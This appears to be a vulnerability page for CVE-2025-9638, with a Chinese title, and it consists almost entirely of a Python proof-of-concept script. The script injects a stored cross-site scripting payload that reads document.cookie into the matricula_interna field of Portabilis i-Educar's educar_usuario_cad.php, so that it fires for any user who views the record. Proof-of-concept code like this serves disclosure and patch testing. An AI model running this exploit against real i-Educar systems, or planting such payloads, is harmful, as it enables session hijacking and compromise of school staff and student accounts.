CVE-2025-9638 Portabilis i-Educar 存储型XSS漏洞

import requests import sys # CVE-2025-9638 PoC - Stored XSS in i-Educar # Target: Portabilis i-Educar 2.10.0 # Endpoint: educar_usuario_cad.php # Parameter: matricula_interna target_url = "http://target-server/educar_usuario_cad.php" # Malicious XSS payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """Exploit CVE-2025-9638 - Stored XSS in matricula_interna parameter""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID=your_session_cookie_here' } # Data payload with XSS in matricula_interna parameter data = { 'matricula_interna': xss_payload, 'operacao': 'cadastrar', 'submit': '1' } try: # Send POST request to inject XSS payload response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print('[+] XSS payload injected successfully') print('[+] Payload stored in database') print('[+] Any user viewing this record will trigger the XSS') return True else: print('[-] Failed to inject payload') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': print('CVE-2025-9638 PoC - i-Educar Stored XSS') exploit_stored_xss()